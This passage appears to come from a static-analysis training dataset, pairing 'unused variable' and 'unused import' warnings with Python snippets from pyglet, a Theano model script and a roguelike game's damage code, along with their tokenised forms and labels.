"\\u\\u\\uDEDENT\\u\\u\\u_", "logging_", "._", "basic", "Config_", "(_", "stream_", "=_", "sys_", "._", "stdout_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
ardekantur/pyglet/pyglet/input/evdev.py
[ { "content": "def _create_control(fileno, event_type, event_code):\n if event_type == EV_ABS:\n raw_name = _abs_raw_names.get(event_code, 'EV_ABS(%x)' % event_code)\n name = _abs_names.get(event_code)\n absinfo = EVIOCGABS(fileno, event_code)\n value = absinfo.value\n min = absinfo.minimum\n max = absinfo.maximum\n control = AbsoluteAxis(name, min, max, raw_name)\n control._set_value(value)\n\n if name == 'hat_y':\n control.inverted = True\n elif event_type == EV_REL:\n raw_name = _rel_raw_names.get(event_code, 'EV_REL(%x)' % event_code)\n name = _rel_names.get(event_code)\n # TODO min/max?\n control = RelativeAxis(name, raw_name)\n elif event_type == EV_KEY:\n raw_name = _key_raw_names.get(event_code, 'EV_KEY(%x)' % event_code)\n name = None\n control = Button(name, raw_name)\n else:\n value = min = max = 0 # TODO\n return None\n control._event_type = event_type\n control._event_code = event_code\n return control", "metadata": "root._create_control", "header": "['module', '___EOS___']", "index": 147 } ]
[ { "span": "value ", "start_line": 170, "start_column": 8, "end_line": 170, "end_column": 13 }, { "span": "min ", "start_line": 170, "start_column": 16, "end_line": 170, "end_column": 19 }, { "span": "max ", "start_line": 170, "start_column": 22, "end_line": 170, "end_column": 25 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "create", "\\u", "control_", "(_", "fileno_", ",_", "event", "\\u", "type_", ",_", "event", "\\u", "code_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "event", "\\u", "type_", "==_", "EV", "\\u", "ABS", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raw", "\\u", "name_", "=_", "\\u", "abs", "\\u", "raw", "\\u", "names_", "._", "get_", "(_", "event", "\\u", "code_", ",_", "'", "EV", "\\u", "ABS", "(%", "x", ")'_", "%_", "event", "\\u", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "\\u", "abs", "\\u", "names_", "._", "get_", "(_", "event", "\\u", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "abs", "info_", "=_", "EV", "IOC", "GA", "BS", "_", "(_", "fileno_", ",_", "event", "\\u", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "abs", "info_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "min_", "=_", "abs", "info_", "._", "minimum_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max_", "=_", "abs", "info_", "._", "maximum_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control_", "=_", "Abs", "olute", "Axis_", "(_", "name_", ",_", "min_", ",_", "max_", ",_", "raw", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control_", "._", "\\u", "set\\u", "value_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "name_", "==_", "'", "hat", "\\u", "y", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "control_", "._", "inverted", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "event", "\\u", "type_", "==_", "EV", "\\u", "REL", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raw", "\\u", "name_", "=_", "\\u", "rel", "\\u", "raw", "\\u", "names_", "._", "get_", "(_", "event", "\\u", "code_", ",_", "'", "EV", "\\u", "REL", "(%", "x", ")'_", "%_", "event", "\\u", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "\\u", "rel", "\\u", "names_", "._", "get_", "(_", "event", "\\u", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", " ", "min", "/", "max", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "control_", "=_", "Relative", "Axis_", "(_", "name_", ",_", "raw", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "event", "\\u", "type_", "==_", "EV", "\\u", "KEY_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raw", "\\u", "name_", "=_", "\\u", "key", "\\u", "raw", "\\u", "names_", "._", "get_", "(_", "event", "\\u", "code_", ",_", "'", "EV", "\\u", "KEY", "(%", "x", ")'_", "%_", "event", "\\u", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control_", "=_", "Button_", "(_", "name_", ",_", "raw", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "min_", "=_", "max_", "=_", "0_", "#", " ", "TOD", "O_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "control_", "._", "\\u", "event", "\\u", "type_", "=_", "event", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control_", "._", "\\u", "event", "\\u", "code_", "=_", "event", "\\u", "code_", "\\u\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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
hycis/Pynet/hps/models/Laura_Continue.py
[ { "content": "\nimport pynet.layer as layer\nfrom pynet.model import *\nfrom pynet.layer import *\nfrom pynet.datasets.mnist import Mnist, Mnist_Blocks\nimport pynet.datasets.spec as spec\nimport pynet.datasets.mnist as mnist\nimport pynet.datasets.transfactor as tf\nimport pynet.datasets.mapping as mapping\nimport pynet.learning_method as learning_methods\nfrom pynet.learning_rule import LearningRule\nfrom pynet.log import Log\nfrom pynet.train_object import TrainObject\nfrom pynet.cost import Cost\nimport pynet.datasets.preprocessor as preproc\nimport pynet.datasets.dataset_noise as noisy\nimport pynet.layer_noise as layer_noise\n\nimport cPickle\nimport os\n\nfrom hps.models.model import AE\n\nimport theano\nfrom theano.sandbox.cuda.var import CudaNdarraySharedVariable\nfloatX = theano.config.floatX\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Laura_Continue(AE):\n\n\n\n", "metadata": "root.Laura_Continue", "header": "['module', '___EOS___']", "index": 28 }, { "content": " def __init__(self, state):\n self.state = state", "metadata": "root.Laura_Continue.__init__", "header": "['class', 'Laura_Continue', '(', 'AE', ')', ':', '___EOS___']", "index": 30 }, { "content": " def build_model(self):\n with open(os.environ['PYNET_SAVE_PATH'] + '/'\n + self.state.hidden1.model + '/model.pkl') as f:\n model = cPickle.load(f)\n return model", "metadata": "root.Laura_Continue.build_model", "header": "['class', 'Laura_Continue', '(', 'AE', ')', ':', '___EOS___']", "index": 34 }, { "content": " def run(self):\n\n dataset = self.build_dataset()\n learning_rule = self.build_learning_rule()\n learn_method = self.build_learning_method()\n\n model = self.build_model()\n\n if self.state.fine_tuning_only:\n for layer in model.layers:\n layer.dropout_below = None\n layer.noise = None\n print \"Fine Tuning Only\"\n\n if self.state.log.save_to_database_name:\n database = self.build_database(dataset, learning_rule, learn_method, model)\n database['records']['model'] = self.state.hidden1.model\n log = self.build_log(database)\n\n train_obj = TrainObject(log = log,\n dataset = dataset,\n learning_rule = learning_rule,\n learning_method = learn_method,\n model = model)\n\n train_obj.run()\n\n if not self.state.fine_tuning_only:\n log.info(\"..Fine Tuning after Noisy Training\")\n for layer in train_obj.model.layers:\n layer.dropout_below = None\n layer.noise = None\n train_obj.setup()\n train_obj.run()", "metadata": "root.Laura_Continue.run", "header": "['class', 'Laura_Continue', '(', 'AE', ')', ':', '___EOS___']", "index": 40 } ]
[ { "span": "import pynet.layer as layer", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 27 }, { "span": "from pynet.datasets.mnist import Mnist, Mnist_Blocks", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 52 }, { "span": "import pynet.datasets.spec as spec", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 34 }, { "span": "import pynet.datasets.mnist as mnist", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 36 }, { "span": "import pynet.datasets.transfactor as tf", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 39 }, { "span": "import pynet.datasets.mapping as mapping", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 40 }, { "span": "import pynet.learning_method as learning_methods", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 48 }, { "span": "from pynet.learning_rule import LearningRule", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 44 }, { "span": "from pynet.log import Log", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 25 }, { "span": "from pynet.cost import Cost", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 27 }, { "span": "import pynet.datasets.preprocessor as preproc", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 45 }, { "span": "import pynet.datasets.dataset_noise as noisy", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 44 }, { "span": "import pynet.layer_noise as layer_noise", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 39 }, { "span": "from theano.sandbox.cuda.var import CudaNdarraySharedVariable", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 61 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "pyn", "et_", "._", "layer_", "as_", "layer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "et_", "._", "model_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "et_", "._", "layer_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "et_", "._", "datasets_", "._", "mnist_", "import_", "Mn", "ist_", ",_", "Mn", "ist", "\\u", "Blocks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "datasets_", "._", "spec_", "as_", "spec_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "datasets_", "._", "mnist_", "as_", "mnist_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "datasets_", "._", "transf", "actor_", "as_", "tf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "datasets_", "._", "mapping_", "as_", "mapping_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "learn", "ing", "\\u", "method_", "as_", "learn", "ing", "\\u", "methods_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "et_", "._", "learn", "ing", "\\u", "rule_", "import_", "Learn", "ing", "Rule_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "et_", "._", "log_", "import_", "Log_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "et_", "._", "train", "\\u", "object_", "import_", "Train", "Object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "et_", "._", "cost_", "import_", "Cost_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "datasets_", "._", "preprocessor_", "as_", "preproc", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "datasets_", "._", "dataset", "\\u", "noise_", "as_", "noisy", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "layer", "\\u", "noise_", "as_", "layer", "\\u", "noise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "c", "Pickle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "hps", "_", "._", "models_", "._", "model_", "import_", "AE", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "theano_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "theano_", "._", "sandbox_", "._", "cuda_", "._", "var_", "import_", "Cu", "da", "Nd", "array", "Share", "d", "Variable_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "float", "X_", "=_", "theano_", "._", "config_", "._", "float", "X_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Lau", "ra", "\\u", "Continu", "e_", "(_", "AE", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Lau", "ra", "\\u", "Continu", "e_", "(_", "AE", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "state_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "state_", "=_", "state_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lau", "ra", "\\u", "Continu", "e_", "(_", "AE", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "build", "\\u", "model_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "os_", "._", "environ_", "[_", "'", "PY", "NET", "\\u", "SAVE", "\\u", "PATH", "'_", "]_", "+_", "'/'_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "self_", "._", "state_", "._", "hidden", "1_", "._", "model_", "+_", "'/", "model", ".", "pkl", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "c", "Pickle_", "._", "load_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "model_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lau", "ra", "\\u", "Continu", "e_", "(_", "AE", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dataset_", "=_", "self_", "._", "build", "\\u", "dataset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "learn", "ing", "\\u", "rule_", "=_", "self_", "._", "build", "\\u", "learn", "ing", "\\u", "rule_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "learn", "\\u", "method_", "=_", "self_", "._", "build", "\\u", "learn", "ing", "\\u", "method_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "model_", "=_", "self_", "._", "build", "\\u", "model_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "state_", "._", "fine", "\\u", "tuning", "\\u", "only_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "layer_", "in_", "model_", "._", "layers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "layer_", "._", "drop", "out", "\\u", "below_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "layer_", "._", "noise_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "Fin", "e", " ", "Tuni", "ng", " ", "On", "ly", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "state_", "._", "log_", "._", "save", "\\u", "to", "\\u", "databa", "se", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "database_", "=_", "self_", "._", "build", "\\u", "database_", "(_", "dataset_", ",_", "learn", "ing", "\\u", "rule_", ",_", "learn", "\\u", "method_", ",_", "model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "database_", "[_", "'", "record", "s", "'_", "]_", "[_", "'", "model", "'_", "]_", "=_", "self_", "._", "state_", "._", "hidden", "1_", "._", "model_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "=_", "self_", "._", "build", "\\u", "log_", "(_", "database_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "train", "\\u", "obj_", "=_", "Train", "Object_", "(_", "log_", "=_", "log_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dataset_", "=_", "dataset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "learn", "ing", "\\u", "rule_", "=_", "learn", "ing", "\\u", "rule_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "learn", "ing", "\\u", "method_", "=_", "learn", "\\u", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "model_", "=_", "model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "train", "\\u", "obj_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "self_", "._", "state_", "._", "fine", "\\u", "tuning", "\\u", "only_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "info_", "(_", "\"..", "Fin", "e", " ", "Tuni", "ng", " ", "after", " ", "No", "isy", " ", "Train", "ing", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "layer_", "in_", "train", "\\u", "obj_", "._", "model_", "._", "layers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "layer_", "._", "drop", "out", "\\u", "below_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
flags/Reactor-3/damage.py
[ { "content": "def bullet_hit(life, bullet, limb):\n\t_owner = LIFE[bullet['shot_by']]\n\t_actual_limb = lfe.get_limb(life, limb)\n\t_items_to_check = []\n\t\n\tif 'player' in _owner:\n\t\tif bullet['aim_at_limb'] == limb:\n\t\t\t_msg = ['The round hits']\n\t\telif not limb in life['body']:\n\t\t\treturn 'The round misses entirely!'\n\t\telse:\n\t\t\t_msg = ['The round misses slightly']\n\t\t_detailed = True\n\telif 'player' in life:\n\t\t_msg = ['The round hits']\n\telse:\n\t\t_msg = ['%s hits %s\\'s %s' % (items.get_name(bullet), life['name'][0], limb)]\n\t\n\tfor item_uid in lfe.get_items_attached_to_limb(life, limb):\n\t\t_items_to_check.append({'item': item_uid, 'visible': True})\n\t\t_item = items.get_item_from_uid(item_uid)\n\t\t\n\t\tif 'storing' in _item:\n\t\t\tfor item_in_container_uid in _item['storing']:\n\t\t\t\t_chance_of_hitting_item = _item['capacity']/float(_item['max_capacity'])\n\t\t\t\t\n\t\t\t\tif random.uniform(0, 1)<_chance_of_hitting_item:\n\t\t\t\t\tbreak\n\t\t\t\t\n\t\t\t\t_items_to_check.append({'item': item_in_container_uid, 'visible': False})\n\t\t\n\tfor entry in _items_to_check:\n\t\t_item = items.get_item_from_uid(entry['item'])\n\t\t_item_damage = get_puncture_value(bullet, _item, target_structure_name=_item['name'])\n\t\t_item['thickness'] = numbers.clip(_item['thickness']-_item_damage, 0, _item['max_thickness'])\n\t\t\n\t\tif 'material' in _item and not _item['material'] == 'cloth':\n\t\t\t_speed_mod = _item_damage\n\t\t\t_can_stop = True\n\t\t\t\n\t\t\tbullet['speed'] *= _speed_mod\n\t\t\tbullet['velocity'][0] *= _speed_mod\n\t\t\tbullet['velocity'][1] *= _speed_mod\n\t\telse:\n\t\t\t_can_stop = False\n\t\t\n\t\tif not _item['thickness']:\n\t\t\t_msg.append(', destroying the %s' % _item['name'])\n\n\t\t\tif _item['type'] == 'explosive':\n\t\t\t\titems.explode(_item)\n\t\t\telse:\n\t\t\t\titems.delete_item(_item)\n\t\telse:\n\t\t\tif bullet['speed']<=1 and _can_stop:\n\t\t\t\t_msg.append(', lodging itself in %s' % items.get_name(_item))\n\t\t\t\t_ret_string = own_language(life, _msg)\n\t\t\t\n\t\t\t\tif _ret_string.endswith('!'):\n\t\t\t\t\treturn _ret_string\n\t\t\t\telse:\n\t\t\t\t\treturn _ret_string+'.'\n\t\t\telse:\n\t\t\t\tif 'material' in _item:\n\t\t\t\t\tif _item['material'] == 'metal':\n\t\t\t\t\t\t_msg.append(', puncturing the %s' % _item['name'])\n\t\t\t\t\telse:\n\t\t\t\t\t\t_msg.append(', ripping through the %s' % _item['name'])\n\t\n\t_damage = get_puncture_value(bullet, _actual_limb, target_structure_name=limb)\n\t_actual_limb['thickness'] = numbers.clip(_actual_limb['thickness']-_damage, 0, _actual_limb['max_thickness'])\n\t_damage_mod = 1-(_actual_limb['thickness']/float(_actual_limb['max_thickness']))\n\t\n\tif limb in life['body']:\n\t\t_msg.append(', '+lfe.add_wound(life, limb, cut=_damage*_damage_mod, impact_velocity=bullet['velocity']))\n\t\n\t_ret_string = own_language(life, _msg)\n\t\n\tif _ret_string.endswith('!'):\n\t\treturn _ret_string\n\telse:\n\t\treturn _ret_string+'.'", "metadata": "root.bullet_hit", "header": "['module', '___EOS___']", "index": 45 }, { "content": "def bite(life, target_id, limb):\n\tlogging.debug('%s bit %s in the %s.' % (' '.join(life['name']), ' '.join(LIFE[target_id]['name']), limb))\n\ttarget = LIFE[target_id]\n\t_msg = ['%s' % language.get_introduction(life)]\n\t\n\t_bite_strength = random.randint(1, 3)\n\t\n\tif numbers.distance(life['pos'], target['pos'])>1:\n\t\t_msg.append('bites the air')\n\t\t\n\t\treturn ' '.join(_msg)+'.'\n\t\n\t_items_to_check = []\n\t\n\tfor _item in lfe.get_items_attached_to_limb(target, limb):\n\t\t_items_to_check.append({'item': _item, 'visible': True})\n\t\t_actual_item = items.get_item_from_uid(_item)\n\t\t\n\t\tif 'storing' in _actual_item:\n\t\t\tfor _item_in_container in _actual_item['storing']:\n\t\t\t\t_items_to_check.append({'item': _item_in_container, 'visible': False})\n\t\n\tfor entry in _items_to_check:\n\t\t_item = items.get_item_from_uid(entry['item'])\n\n\t\tif not 'thickness' in _item:\n\t\t\tlogging.warning('Item \\'%s\\' has no set thickness. Guessing...' % _item['name'])\n\t\t\t_item['thickness'] = _item['size']/2\n\t\t\n\t\t_thickness = _item['thickness']\n\t\t_item['thickness'] = numbers.clip(_item['thickness']-_bite_strength, 0, 100)\n\t\t_bite_strength -= _thickness\n\t\t_tear = _item['thickness']-_thickness\n\t\t_limb_in_context = False\n\t\t\n\t\tif _item['material'] == 'cloth':\n\t\t\tif _thickness and not _item['thickness']:\n\t\t\t\t_msg.append('rips through <own> %s' % _item['name'])\n\t\t\telif _tear<=-3:\n\t\t\t\t_msg.append('rips <own> %s' % _item['name'])\n\t\t\telif _tear<=-2:\n\t\t\t\t_msg.append('tears <own> %s' % _item['name'])\n\t\t\telif _tear<=-1:\n\t\t\t\t_msg.append('slightly tears <own> %s' % _item['name'])\n\t\t\t\n\t\t\tif _bite_strength <= 0 and _item['thickness']:\n\t\t\t\t_msg.append('is stopped by <own> %s' % _item['name'])\n\t\t\t\treturn ' '.join(_msg)\n\t\n\t#if not lfe.limb_is_cut(target, limb):\n\tif _bite_strength==1:\n\t\t_msg.append(', cutting <own> %s' % limb)\n\telif _bite_strength==2:\n\t\t_msg.append(', tearing <own> %s' % limb)\n\telif _bite_strength==3:\n\t\t_msg.append(', ripping open <own> %s' % limb)\n\n\tif _bite_strength:\n\t\tlfe.add_wound(target, limb, cut=_bite_strength)\n\t\n\t#TODO: How thick is skin?\n\t_bite_strength -= 1\n\t\n\t#if not _bite_strength:\n\t#\treturn ' '.join(_msg)\n\t\n\t_ret_string = own_language(target, _msg)\n\t\n\treturn _ret_string+'.'", "metadata": "root.bite", "header": "['module', '___EOS___']", "index": 128 } ]
[ { "span": "_detailed ", "start_line": 57, "start_column": 2, "end_line": 57, "end_column": 11 }, { "span": "_limb_in_context ", "start_line": 161, "start_column": 2, "end_line": 161, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "bullet", "\\u", "hit_", "(_", "life_", ",_", "bullet_", ",_", "limb", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\\u", "owner_", "=_", "LIF", "E_", "[_", "bullet_", "[_", "'", "sho", "t", "\\u", "by", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "actual", "\\u", "limb", "_", "=_", "lf", "e_", "._", "get", "\\u", "limb", "_", "(_", "life_", ",_", "limb", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "items", "\\u", "to", "\\u", "check_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "player", "'_", "in_", "\\u", "owner_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "bullet_", "[_", "'", "aim", "\\u", "at", "\\u", "limb", "'_", "]_", "==_", "limb", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "\\u", "msg_", "=_", "[_", "'", "The", " ", "round", " ", "hits", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "not_", "limb", "_", "in_", "life_", "[_", "'", "body", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", 